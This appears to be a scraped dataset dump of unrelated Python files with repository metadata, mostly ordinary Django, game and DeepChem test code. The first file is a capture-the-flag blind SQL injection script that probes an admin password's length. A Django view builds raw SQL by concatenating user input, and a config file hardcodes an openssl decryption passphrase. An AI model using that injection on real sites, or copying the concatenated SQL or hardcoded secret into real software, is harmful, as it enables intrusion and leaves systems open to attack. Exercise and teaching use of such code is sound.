xszheng2020/the_stack_dedup_python_hits_1 · Datasets at Hugging Face

c4c0c23efe0af691e686cdc320886e050cb8e361

636

py

Python

0x05/solve/ex1-0x05.py

tuannm-1876/sec-exercises

d8ea08bc02003af3722e0553060ed370ed395b33

[ "MIT" ]

null

0x05/solve/ex1-0x05.py

tuannm-1876/sec-exercises

d8ea08bc02003af3722e0553060ed370ed395b33

[ "MIT" ]

null

0x05/solve/ex1-0x05.py

tuannm-1876/sec-exercises

d8ea08bc02003af3722e0553060ed370ed395b33

[ "MIT" ]

null

import urllib import urllib2 url = "http://ctfq.sweetduet.info:10080/~q6/" def main(): for i in range(1, 100): data = { "id": "admin' AND (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = {counter} --".format(counter=i), "pass": "", } print (data) data1 = urllib.urlencode(data).encode("utf-8") req = urllib2.Request(url, data1) res = urllib2.urlopen(req) print (res) if int(res.headers["content-length"]) > 2000: print("Do dai cua password: {counter}".format(counter=i)) break if __name__ == "__main__": main()

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Python

code_examples/package_example/my_scripts/network/connect_telnet.py

natenka/natenka.github.io

74c56be74f2c9b15a4c9b523a1622453ae2064af

[ "MIT" ]

18

2017-02-19T15:58:54.000Z

2022-02-13T22:15:19.000Z

code_examples/package_example/my_scripts/network/connect_telnet.py

natenka/natenka.github.io

74c56be74f2c9b15a4c9b523a1622453ae2064af

[ "MIT" ]

1

2020-02-24T23:14:15.000Z

code_examples/package_example/my_scripts/network/connect_telnet.py

natenka/natenka.github.io

74c56be74f2c9b15a4c9b523a1622453ae2064af

[ "MIT" ]

27

2017-05-03T15:38:41.000Z

2022-02-08T02:53:38.000Z

import telnetlib import time def send_command_telnetlib(ipaddress, username, password, enable_pass, command): t = telnetlib.Telnet("192.168.100.1") t.read_until(b"Username:") t.write(username.encode("ascii") + b"\n") t.read_until(b"Password:") t.write(password.encode("ascii") + b"\n") t.write(b"enable\n") t.read_until(b"Password:") t.write(enable_pass.encode("ascii") + b"\n") t.read_until(b"#") t.write(b"terminal length 0\n") t.write(command + b"\n") time.sleep(1) result = t.read_until(b"#").decode("utf-8") return result

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c4c5720115308ec3559711c2319791d1086d71cd

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Python

fullstack/migrations/0004_officeholder.py

TylerFisher/full-stack-react

dae5df2b85944e66a9ad0c64cad3e83b7cb1e173

[ "MIT" ]

9

2019-01-26T20:09:24.000Z

2021-02-28T12:09:17.000Z

fullstack/migrations/0004_officeholder.py

dariyamizzou/full-stack-react

dae5df2b85944e66a9ad0c64cad3e83b7cb1e173

[ "MIT" ]

3

2020-02-11T23:49:18.000Z

2021-06-10T21:13:36.000Z

fullstack/migrations/0004_officeholder.py

dariyamizzou/full-stack-react

dae5df2b85944e66a9ad0c64cad3e83b7cb1e173

[ "MIT" ]

1

2019-03-09T18:33:12.000Z

# Generated by Django 2.1.5 on 2019-01-27 22:45 from django.db import migrations, models import django.db.models.deletion import uuid class Migration(migrations.Migration): dependencies = [ ('fullstack', '0003_auto_20190127_2223'), ] operations = [ migrations.CreateModel( name='Officeholder', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('term_start', models.DateField()), ('term_end', models.DateField()), ('office', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='fullstack.Office')), ('person', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='fullstack.Person')), ], ), ]

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c4c7aa58a5a7074c7dc6f26bfd9244c8183f237e

7,909

py

Python

pages/views.py

SmartDataWithR/CovidHelper

21f8c3f3d81da0b5ec32b228c711e96f9d5c168e

[ "MIT" ]

null

pages/views.py

SmartDataWithR/CovidHelper

21f8c3f3d81da0b5ec32b228c711e96f9d5c168e

[ "MIT" ]

9

2020-03-27T10:33:35.000Z

2022-03-12T00:20:47.000Z

pages/views.py

SmartDataWithR/CovidHelper

21f8c3f3d81da0b5ec32b228c711e96f9d5c168e

[ "MIT" ]

null

from django.views.generic import TemplateView from ipware import get_client_ip from django.shortcuts import render, redirect from django.contrib import messages from django.contrib.auth.forms import PasswordChangeForm from django.contrib.auth import update_session_auth_hash from django.conf import settings from .forms import SearchForm from users.models import CustomUser import geopy from geopy.distance import geodesic import pandas as pd import json from django.utils.translation import gettext as _, activate # required for IP to numeric import socket import struct # import file for ip's to language mapping df_ip_lang = pd.read_csv('pages/lng_map.csv', names=['ip_from', 'ip_to', 'country_code', 'country_name', 'lang_code'] ) def ip(request): ip, is_routable = get_client_ip(request) if ip is None: ip = "0.0.0.0" else: if is_routable: ipv = "Public" else: ipv = "Private" return (ip, ipv) def ip2int(addr): return struct.unpack("!I", socket.inet_aton(addr))[0] def index(request): search = request.POST.get('search-field') searchCat = request.POST.get('search-catogery') locator = geopy.Nominatim(user_agent="myGeocoder") gotodiv = False # From IP to Language #-------------------- request_ip = ip(request) # get request IP request_ip_int = ip2int(request_ip[0]) # convert IP to numeric df_filt = df_ip_lang[df_ip_lang.ip_from <= request_ip_int] # filter data for fetched ip range_to_check = df_filt.iloc[-1] is_in_range = request_ip_int > range_to_check.ip_from & request_ip_int < range_to_check.ip_to # check that my IP is in range country_code = 'en-us' # initialise default language if is_in_range: # if an entry is found in dataframe, set this one to country-code country_code = range_to_check.lang_code activate(country_code) # activate the current language code current_path = str(request.get_full_path()).strip('/') print(current_path) # if user selected a language manually, use this one if current_path == 'en': activate('en-us') elif current_path != '': activate(current_path) context = {} if search != None: location = locator.geocode(search, timeout=5) if not hasattr(location, 'longitude'): location = locator.geocode('Hamburg', timeout=5) # get result for 'All' (Category 4) if searchCat == '4': sql_q = 'SELECT * FROM users_customuser' else: sql_q = 'SELECT * FROM users_customuser WHERE group_membership like ' + searchCat print(sql_q) #query = 'SELECT * FROM users_customuser' #if search != None and searchCat == '4': #df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type] for u in CustomUser.objects.raw('SELECT * FROM users_customuser') ) #query = 'SELECT * FROM users_customuser' #else: #df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type] for u in CustomUser.objects.raw('SELECT * FROM users_customuser WHERE group_membership = searchCat') ) #query = 'SELECT * FROM users_customuser WHERE group_membership = '.searchCat # df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type, u.userImg_Url] for u in CustomUser.objects.raw('SELECT * FROM users_customuser WHERE group_membership IN(SELECT group_membership FROM users_customuser WHERE (%s<>'' AND group_membership IN('0','1','3')) OR (%s<>'' AND group_membership=group_membership))', [searchCat]) ) #df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type, u.userImg_Url] for u in CustomUser.objects.raw('SELECT * FROM users_customuser WHERE group_membership IN(SELECT group_membership FROM users_customuser WHERE (%s <> NULL AND group_membership IN('0','1','3')) OR (group_membership = group_membership))', [searchCat]) ) df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type, u.userImg_Url, u.shop_type] for u in CustomUser.objects.raw(sql_q) ) df.columns = ['id','group_membership', 'longitude', 'latitude', 'slogan', 'zip_code', 'description', 'map_show_location', 'username', 'help_type', 'userImg_Url', 'shop_type'] df['distance'] = [geodesic((location.longitude, location.latitude), (x, y)).miles for x,y in zip(df['longitude'], df['latitude'])] # filter for distance max 20km (12.4miles) df_filt = df[df['distance'] < 12.4] print(df_filt) # pass the data to the template group_membership = df_filt['group_membership'].values.tolist() group_membership = [int(x) for x in group_membership] help_type = df_filt['help_type'].values.tolist() userImg_Url = df_filt['userImg_Url'].values.tolist() slogan = df_filt['slogan'].values.tolist() shop_type = df_filt['shop_type'].values.tolist() description = df_filt['description'].values.tolist() username = df_filt['username'].values.tolist() zipcode = df_filt['zip_code'].values.tolist() #tel_private = df_filt['tel_private'].values.tolist() #tel_mobile = df_filt['tel_mobile'].values.tolist() longitudes = df_filt['longitude'].values.tolist() latitudes = df_filt['latitude'].values.tolist() ids = df_filt['id'].values.tolist() map_show_location = df_filt['map_show_location'].values.tolist() map_show_location = [int(x) for x in map_show_location] rname = list(range(0, len(ids))) template_table = list(zip(rname, ids, slogan, description, zipcode)) gotodiv = 'search' context = {'longitude': location.longitude, 'latitude': location.latitude,'id':ids, 'userImg_Url':userImg_Url, 'group_membership': group_membership, 'longitudes': longitudes, 'latitudes': latitudes, 'slogan': slogan, 'description': description, 'gotodiv': gotodiv, 'map_show_location':map_show_location, 'template_table':template_table, 'username':username, 'help_type':help_type} return render(request, 'pages/home.html', context) class HomePageView(TemplateView): template_name = 'pages/home.html' class AboutPageView(TemplateView): template_name = 'pages/about.html' def searchLocation(request): form = SearchForm(request) print(form) if request.method=='POST': form = SearchForm(request.POST) return render(request, 'pages/home.html', {'form': form}) def change_password(request): if request.method == 'POST': form = PasswordChangeForm(request.user, request.POST) if form.is_valid(): user = form.save() update_session_auth_hash(request, user) # Important! messages.success(request, 'Your password was successfully updated!') return redirect('change_password') else: messages.error(request, 'Please correct the error below.') else: form = PasswordChangeForm(request.user) return render(request, 'account/password_set.html', { 'form': form }) def privacy(request): return render(request, 'pages/privacy.html') def imprint(request): return render(request, 'pages/imprint.html') def terms(request): return render(request, 'pages/terms_conditions.html') def cookie_policy(request): return render(request, 'pages/cookie_policy.html')

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c4cd1bca866664aa443fc8b603dcfac8e9e9cf00

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py

Python

src/118. Pascal's Triangle.py

rajshrivastava/LeetCode

dfe6342fe22b324429b0be3e5c0fef46c7e6b3b0

[ "MIT" ]

1

2019-12-16T08:18:25.000Z

src/118. Pascal's Triangle.py

rajshrivastava/LeetCode

dfe6342fe22b324429b0be3e5c0fef46c7e6b3b0

[ "MIT" ]

null

src/118. Pascal's Triangle.py

rajshrivastava/LeetCode

dfe6342fe22b324429b0be3e5c0fef46c7e6b3b0

[ "MIT" ]

null

class Solution: def generate(self, numRows: int) -> List[List[int]]: result = [[1]] for i in range(1, numRows): temp = [1] for j in range(1, i): temp.append(result[-1][j-1] + result[-1][j]) temp.append(1) result.append(temp) return result

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c4d236eae71088db952059a4c21b0e805b6bad1c

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py

Python

components/icdc-sheepdog/sheepdog/utils/parse.py

CBIIT/icdc-docker

5dc78b96a8d885b3fa427c55b9cc19f4771910fa

[ "Apache-2.0" ]

2

2019-06-10T15:30:51.000Z

2020-01-18T23:24:13.000Z

components/icdc-sheepdog/sheepdog/utils/parse.py

CBIIT/icdc-docker

5dc78b96a8d885b3fa427c55b9cc19f4771910fa

[ "Apache-2.0" ]

null

components/icdc-sheepdog/sheepdog/utils/parse.py

CBIIT/icdc-docker

5dc78b96a8d885b3fa427c55b9cc19f4771910fa

[ "Apache-2.0" ]

1

2022-03-31T09:52:46.000Z

""" TODO """ from collections import Counter import simplejson import yaml import flask from sheepdog.errors import ( UserError, ) def oph_raise_for_duplicates(object_pairs): """ Given an list of ordered pairs, contstruct a dict as with the normal JSON ``object_pairs_hook``, but raise an exception if there are duplicate keys with a message describing all violations. """ counter = Counter(p[0] for p in object_pairs) duplicates = [p for p in counter.iteritems() if p[1] > 1] if duplicates: raise ValueError( 'The document contains duplicate keys: {}' .format(','.join(d[0] for d in duplicates)) ) return {pair[0]: pair[1] for pair in object_pairs} def parse_json(raw): """ Return a python representation of a JSON document. Args: raw (str): string of raw JSON content Raises: UserError: if any exception is raised parsing the JSON body .. note:: Uses :func:`oph_raise_for_duplicates` in parser. """ try: return simplejson.loads( raw, object_pairs_hook=oph_raise_for_duplicates ) except Exception as e: raise UserError('Unable to parse json: {}'.format(e)) def parse_request_json(expected_types=(dict, list)): """ Return a python representation of a JSON POST body. Args: raw (str): string of raw JSON content Return: TODO Raises: UserError: if any exception is raised parsing the JSON body UserError: if the result is not of the expected type If raw is not provided, pull the body from global request object. """ parsed = parse_json(flask.request.get_data()) if not isinstance(parsed, expected_types): raise UserError('JSON parsed from request is an invalid type: {}' .format(parsed.__class__.__name__)) return parsed def parse_request_yaml(): """ Return a python representation of a YAML POST body. Raise UserError if any exception is raised parsing the YAML body. """ try: return yaml.safe_load(flask.request.get_data()) except Exception as e: raise UserError('Unable to parse yaml: {}'.format(e))

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c4d694c5a7929d60a82f4266c36fe92a6487d6e2

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py

Python

example/models.py

nim65s/django-jugemaj

771fb5ddb7ceaa3f6b8aa4178c95ab249a8ed406

[ "BSD-2-Clause" ]

null

example/models.py

nim65s/django-jugemaj

771fb5ddb7ceaa3f6b8aa4178c95ab249a8ed406

[ "BSD-2-Clause" ]

15

2017-06-08T08:12:36.000Z

2022-03-21T20:03:02.000Z

example/models.py

nim65s/django-jugemaj

771fb5ddb7ceaa3f6b8aa4178c95ab249a8ed406

[ "BSD-2-Clause" ]

null

"""Django models for the example app.""" from django.db import models from wikidata.client import Client # type: ignore LANGS = ["fr", "en"] # ordered list of langages to check on wikidata class WikiDataModel(models.Model): """A django model to represent something available on wikidata.""" name = models.CharField(max_length=50) wikidata = models.PositiveIntegerField() def __str__(self): """Get the name of this wikidata instance.""" return self.name @property def wikidata_url(self): """Get a direct link to the wikidata item.""" return f"https://www.wikidata.org/wiki/Q{self.wikidata}" def update_name(self): """Update the name from wikidata.""" labels = Client().get(f"Q{self.wikidata}", load=True).data["labels"] self.name = next(labels[lang] for lang in LANGS if lang in labels)["value"] self.save()

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py

Python

minimalist_cms/cms_content/migrations/0004_auto_20190719_1242.py

wullerot/django-minimalist-cms

bd6795d9647f9db1d98e83398238c0e63aca3c1b

[ "MIT" ]

null

minimalist_cms/cms_content/migrations/0004_auto_20190719_1242.py

wullerot/django-minimalist-cms

bd6795d9647f9db1d98e83398238c0e63aca3c1b

[ "MIT" ]

null

minimalist_cms/cms_content/migrations/0004_auto_20190719_1242.py

wullerot/django-minimalist-cms

bd6795d9647f9db1d98e83398238c0e63aca3c1b

[ "MIT" ]

null

# Generated by Django 2.1.10 on 2019-07-19 12:42 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('contenttypes', '0002_remove_content_type_name'), ('cms_content', '0003_auto_20190719_1232'), ] operations = [ migrations.AlterModelOptions( name='element', options={'ordering': ['position'], 'verbose_name': 'Element', 'verbose_name_plural': 'Element'}, ), migrations.AddField( model_name='container', name='content_type', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType', verbose_name='Content type'), ), migrations.AddField( model_name='container', name='object_id', field=models.PositiveIntegerField(blank=True, null=True, verbose_name='Object ID'), ), ]

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py

Python

original-paas/copy_to_container/www/spdpaas/src/celeryApp/celeryConfig.py

yishan1331/docker-practice

91a1a434cbffc33790678af5e09de310386812d1

[ "MIT" ]

null

original-paas/copy_to_container/www/spdpaas/src/celeryApp/celeryConfig.py

yishan1331/docker-practice

91a1a434cbffc33790678af5e09de310386812d1

[ "MIT" ]

null

original-paas/copy_to_container/www/spdpaas/src/celeryApp/celeryConfig.py

yishan1331/docker-practice

91a1a434cbffc33790678af5e09de310386812d1

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ ============================================================================== created : 02/08/2021 Last update: 02/08/2021 Developer: Yishan Tsai Lite Version 1 @Yishan08032019 Filename: celeryconfig.py Description: about celery configuration ============================================================================== """ from kombu import Queue class BaseConfig(object): CELERY_ACCEPT_CONTENT= ['json'] CELERY_TASK_SERIALIZER= 'json' CELERY_RESULT_SERIALIZER= 'json' CELERY_ENABLE_UTC=True CELERY_TIMEZONE='Asia/Taipei' # CELERY_ACKS_LATE=True, #https://kknews.cc/zh-tw/code/5v5vj52.html CELERYD_PREFETCH_MULTIPLIER=1 CELERYD_MAX_TASKS_PER_CHILD=50 #memory leak CELERY_IGNORE_RESULT=True CELERY_STORE_ERRORS_EVEN_IF_IGNORED=True CELERY_TASK_CREATE_MISSING_QUEUES=False CELERY_QUEUES = { # Queue("default", routing_key = "default"), # Queue("queue1", routing_key = "high", queue_arguments={'maxPriority': 10}), #https://github.com/squaremo/amqp.node/issues/165 Queue("H-queue1", routing_key = "high"), Queue("L-queue1", routing_key = "low") } CELERY_TASK_ROUTES = { 'celeryApp.celeryTasks.celery_trigger_specific_program': {'queue': 'H-queue1','routing_key':'high'}, 'celeryApp.celeryTasks.celery_post_api_count_record': {'queue': 'L-queue1','routing_key':'low'}, 'celeryApp.celeryTasks.celery_send_email': {'queue': 'L-queue1','routing_key':'low'}, } def readConfig(): import os, time import ConfigParser from app.globalvar import CONFIG as _CONFIG try: get_request_start_time = int(round(time.time()* 1000000)) if not os.path.isfile('/var/www/spdpaas/config/deconstants_{}.conf'.format(str(get_request_start_time))): with os.popen('/usr/bin/openssl enc -aes-128-cbc -d -in /var/www/spdpaas/config/encconstants.conf -out /var/www/spdpaas/config/deconstants_{}.conf -pass pass:sapidotest2019'.format(str(get_request_start_time))) as osdecrypt: osdecrypt.read() CONFPATH = "/var/www/spdpaas/config/deconstants_{}.conf".format(str(get_request_start_time)) CONFIG = ConfigParser.ConfigParser() CONFIG.read(CONFPATH) dicConfig = { "celery_broker":CONFIG.get('Celery', 'broker'), "celery_result_backend":CONFIG.get('Celery', 'result_backend'), "dbpostgres_ip":CONFIG.get(_CONFIG["SYSTEM"]["POSTGRESQL"],'ip'), "dbpostgres_port":CONFIG.get(_CONFIG["SYSTEM"]["POSTGRESQL"],'port'), "dbpostgres_user":CONFIG.get(_CONFIG["SYSTEM"]["POSTGRESQL"],'user'), "dbpostgres_password":CONFIG.get(_CONFIG["SYSTEM"]["POSTGRESQL"],'password') } return dicConfig except Exception as e: print "~~~~celery config error~~~~" print e return False finally: if os.path.isfile('/var/www/spdpaas/config/deconstants_{}.conf'.format(str(get_request_start_time))): with os.popen('/bin/rm /var/www/spdpaas/config/deconstants_{}.conf'.format(str(get_request_start_time))) as osrm: osrm.read()

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236

0.639887

366

3,174

5.319672

0.45082

0.035953

0.049307

0.058552

0.326656

0.250128

0.167437

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0

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0.163417

0

null

0.04

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null

0.04

0

null

0

null

0

1

0

1

c4e7db74b0a777f921aa87993b291e973a2d6ac3

1,652

py

Python

toontown/coghq/LawbotHQExterior.py

journeyfan/toontown-journey

7a4db507e5c1c38a014fc65588086d9655aaa5b4

[ "MIT" ]

1

2020-09-27T22:12:47.000Z

toontown/coghq/LawbotHQExterior.py

journeyfan/toontown-journey

7a4db507e5c1c38a014fc65588086d9655aaa5b4

[ "MIT" ]

null

toontown/coghq/LawbotHQExterior.py

journeyfan/toontown-journey

7a4db507e5c1c38a014fc65588086d9655aaa5b4

[ "MIT" ]

2

2020-09-26T20:37:18.000Z

2020-11-15T20:55:33.000Z

from direct.directnotify import DirectNotifyGlobal from direct.fsm import ClassicFSM, State from direct.fsm import State from pandac.PandaModules import * from toontown.battle import BattlePlace from toontown.building import Elevator from toontown.coghq import CogHQExterior from toontown.dna.DNAParser import loadDNAFileAI from libpandadna import DNAStorage from toontown.hood import ZoneUtil from toontown.toonbase import ToontownGlobals class LawbotHQExterior(CogHQExterior.CogHQExterior): notify = DirectNotifyGlobal.directNotify.newCategory('LawbotHQExterior') def enter(self, requestStatus): CogHQExterior.CogHQExterior.enter(self, requestStatus) # Load the CogHQ DNA file: dnaStore = DNAStorage() dnaFileName = self.genDNAFileName(self.zoneId) loadDNAFileAI(dnaStore, dnaFileName) # Collect all of the vis group zone IDs: self.zoneVisDict = {} for i in range(dnaStore.getNumDNAVisGroupsAI()): groupFullName = dnaStore.getDNAVisGroupName(i) visGroup = dnaStore.getDNAVisGroupAI(i) visZoneId = int(base.cr.hoodMgr.extractGroupName(groupFullName)) visZoneId = ZoneUtil.getTrueZoneId(visZoneId, self.zoneId) visibles = [] for i in range(visGroup.getNumVisibles()): visibles.append(int(visGroup.getVisible(i))) visibles.append(ZoneUtil.getBranchZone(visZoneId)) self.zoneVisDict[visZoneId] = visibles # Next, we want interest in all vis groups due to this being a Cog HQ: base.cr.sendSetZoneMsg(self.zoneId, list(self.zoneVisDict.values())[0])

41.3

79

0.72276

172

1,652

6.94186

0.5

0.060302

0.021776

0.031826

0

0.000759

0.202179

1,652

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0.905159

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1

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false

0

0.366667

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0.466667

0

null

0

null

0

1

0

1

c4f84b78cd23bfc6c4e94d2d3b58c3a8e6dd5d94

34,172

py

Python

deepchem/models/tensorgraph/tests/test_layers_eager.py

avimanyu786/deepchem

c5a7c6fff0597b5d896c865efdacec4fa75b00c6

[ "MIT" ]

null

deepchem/models/tensorgraph/tests/test_layers_eager.py

avimanyu786/deepchem

c5a7c6fff0597b5d896c865efdacec4fa75b00c6

[ "MIT" ]

null

deepchem/models/tensorgraph/tests/test_layers_eager.py

avimanyu786/deepchem

c5a7c6fff0597b5d896c865efdacec4fa75b00c6

[ "MIT" ]

1

2019-05-19T14:22:32.000Z

import deepchem as dc import numpy as np import tensorflow as tf import deepchem.models.tensorgraph.layers as layers from tensorflow.python.eager import context from tensorflow.python.framework import test_util class TestLayersEager(test_util.TensorFlowTestCase): """ Test that layers function in eager mode. """ def test_conv_1d(self): """Test invoking Conv1D in eager mode.""" with context.eager_mode(): width = 5 in_channels = 2 filters = 3 kernel_size = 2 batch_size = 10 input = np.random.rand(batch_size, width, in_channels).astype(np.float32) layer = layers.Conv1D(filters, kernel_size) result = layer(input) self.assertEqual(result.shape[0], batch_size) self.assertEqual(result.shape[2], filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv1D(filters, kernel_size) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_dense(self): """Test invoking Dense in eager mode.""" with context.eager_mode(): in_dim = 2 out_dim = 3 batch_size = 10 input = np.random.rand(batch_size, in_dim).astype(np.float32) layer = layers.Dense(out_dim) result = layer(input) assert result.shape == (batch_size, out_dim) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Dense(out_dim) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_highway(self): """Test invoking Highway in eager mode.""" with context.eager_mode(): width = 5 batch_size = 10 input = np.random.rand(batch_size, width).astype(np.float32) layer = layers.Highway() result = layer(input) assert result.shape == (batch_size, width) assert len(layer.trainable_variables) == 4 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Highway() result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_flatten(self): """Test invoking Flatten in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10, 4).astype(np.float32) result = layers.Flatten()(input) assert result.shape == (5, 40) def test_reshape(self): """Test invoking Reshape in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10, 4).astype(np.float32) result = layers.Reshape((100, 2))(input) assert result.shape == (100, 2) def test_cast(self): """Test invoking Cast in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 3) result = layers.Cast(dtype=tf.float32)(input) assert result.dtype == tf.float32 def test_squeeze(self): """Test invoking Squeeze in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 1, 4).astype(np.float32) result = layers.Squeeze()(input) assert result.shape == (5, 4) def test_transpose(self): """Test invoking Transpose in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10, 4).astype(np.float32) result = layers.Transpose((1, 2, 0))(input) assert result.shape == (10, 4, 5) def test_combine_mean_std(self): """Test invoking CombineMeanStd in eager mode.""" with context.eager_mode(): mean = np.random.rand(5, 3).astype(np.float32) std = np.random.rand(5, 3).astype(np.float32) layer = layers.CombineMeanStd(training_only=True, noise_epsilon=0.01) result1 = layer(mean, std, training=False) assert np.array_equal(result1, mean) # No noise in test mode result2 = layer(mean, std, training=True) assert not np.array_equal(result2, mean) assert np.allclose(result2, mean, atol=0.1) def test_repeat(self): """Test invoking Repeat in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 4).astype(np.float32) result = layers.Repeat(3)(input) assert result.shape == (5, 3, 4) assert np.array_equal(result[:, 0, :], result[:, 1, :]) def test_gather(self): """Test invoking Gather in eager mode.""" with context.eager_mode(): input = np.random.rand(5).astype(np.float32) indices = [[1], [3]] result = layers.Gather()(input, indices) assert np.array_equal(result, [input[1], input[3]]) def test_gru(self): """Test invoking GRU in eager mode.""" with context.eager_mode(): batch_size = 10 n_hidden = 7 in_channels = 4 n_steps = 6 input = np.random.rand(batch_size, n_steps, in_channels).astype(np.float32) layer = layers.GRU(n_hidden, batch_size) result, state = layer(input) assert result.shape == (batch_size, n_steps, n_hidden) assert len(layer.trainable_variables) == 3 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.GRU(n_hidden, batch_size) result2, state2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3, state3 = layer(input) assert np.allclose(result, result3) # But if we specify a different starting state, that should produce a # different result. result4, state4 = layer(input, initial_state=state3) assert not np.allclose(result, result4) def test_lstm(self): """Test invoking LSTM in eager mode.""" with context.eager_mode(): batch_size = 10 n_hidden = 7 in_channels = 4 n_steps = 6 input = np.random.rand(batch_size, n_steps, in_channels).astype(np.float32) layer = layers.LSTM(n_hidden, batch_size) result, state = layer(input) assert result.shape == (batch_size, n_steps, n_hidden) assert len(layer.trainable_variables) == 3 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.LSTM(n_hidden, batch_size) result2, state2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3, state3 = layer(input) assert np.allclose(result, result3) # But if we specify a different starting state, that should produce a # different result. result4, state4 = layer(input, initial_state=state3) assert not np.allclose(result, result4) def test_time_series_dense(self): """Test invoking TimeSeriesDense in eager mode.""" with context.eager_mode(): in_dim = 2 out_dim = 3 n_steps = 6 batch_size = 10 input = np.random.rand(batch_size, n_steps, in_dim).astype(np.float32) layer = layers.TimeSeriesDense(out_dim) result = layer(input) assert result.shape == (batch_size, n_steps, out_dim) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.TimeSeriesDense(out_dim) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_l1_loss(self): """Test invoking L1Loss in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) result = layers.L1Loss()(input1, input2) expected = np.mean(np.abs(input1 - input2), axis=1) assert np.allclose(result, expected) def test_l2_loss(self): """Test invoking L2Loss in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) result = layers.L2Loss()(input1, input2) expected = np.mean((input1 - input2)**2, axis=1) assert np.allclose(result, expected) def test_softmax(self): """Test invoking SoftMax in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.SoftMax()(input) expected = tf.nn.softmax(input) assert np.allclose(result, expected) def test_sigmoid(self): """Test invoking Sigmoid in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.Sigmoid()(input) expected = tf.nn.sigmoid(input) assert np.allclose(result, expected) def test_relu(self): """Test invoking ReLU in eager mode.""" with context.eager_mode(): input = np.random.normal(size=(5, 10)).astype(np.float32) result = layers.ReLU()(input) expected = tf.nn.relu(input) assert np.allclose(result, expected) def test_concat(self): """Test invoking Concat in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 4).astype(np.float32) result = layers.Concat()(input1, input2) assert result.shape == (5, 14) assert np.array_equal(input1, result[:, :10]) assert np.array_equal(input2, result[:, 10:]) def test_stack(self): """Test invoking Stack in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 4).astype(np.float32) input2 = np.random.rand(5, 4).astype(np.float32) result = layers.Stack()(input1, input2) assert result.shape == (5, 2, 4) assert np.array_equal(input1, result[:, 0, :]) assert np.array_equal(input2, result[:, 1, :]) def test_constant(self): """Test invoking Constant in eager mode.""" with context.eager_mode(): value = np.random.rand(5, 4).astype(np.float32) result = layers.Constant(value)() assert np.array_equal(result, value) def test_variable(self): """Test invoking Variable in eager mode.""" with context.eager_mode(): value = np.random.rand(5, 4).astype(np.float32) layer = layers.Variable(value) result = layer() assert np.array_equal(result.numpy(), value) assert len(layer.trainable_variables) == 1 def test_add(self): """Test invoking Add in eager mode.""" with context.eager_mode(): result = layers.Add()([1, 2], [3, 4]) assert np.array_equal(result, [4, 6]) def test_multiply(self): """Test invoking Multiply in eager mode.""" with context.eager_mode(): result = layers.Multiply()([1, 2], [3, 4]) assert np.array_equal(result, [3, 8]) def test_divide(self): """Test invoking Divide in eager mode.""" with context.eager_mode(): result = layers.Divide()([1, 2], [2, 5]) assert np.allclose(result, [0.5, 0.4]) def test_log(self): """Test invoking Log in eager mode.""" with context.eager_mode(): result = layers.Log()(2.5) assert np.allclose(result, np.log(2.5)) def test_exp(self): """Test invoking Exp in eager mode.""" with context.eager_mode(): result = layers.Exp()(2.5) assert np.allclose(result, np.exp(2.5)) def test_interatomic_l2_distances(self): """Test invoking InteratomicL2Distances in eager mode.""" with context.eager_mode(): atoms = 5 neighbors = 2 coords = np.random.rand(atoms, 3) neighbor_list = np.random.randint(0, atoms, size=(atoms, neighbors)) layer = layers.InteratomicL2Distances(atoms, neighbors, 3) result = layer(coords, neighbor_list) assert result.shape == (atoms, neighbors) for atom in range(atoms): for neighbor in range(neighbors): delta = coords[atom] - coords[neighbor_list[atom, neighbor]] dist2 = np.dot(delta, delta) assert np.allclose(dist2, result[atom, neighbor]) def test_sparse_softmax_cross_entropy(self): """Test invoking 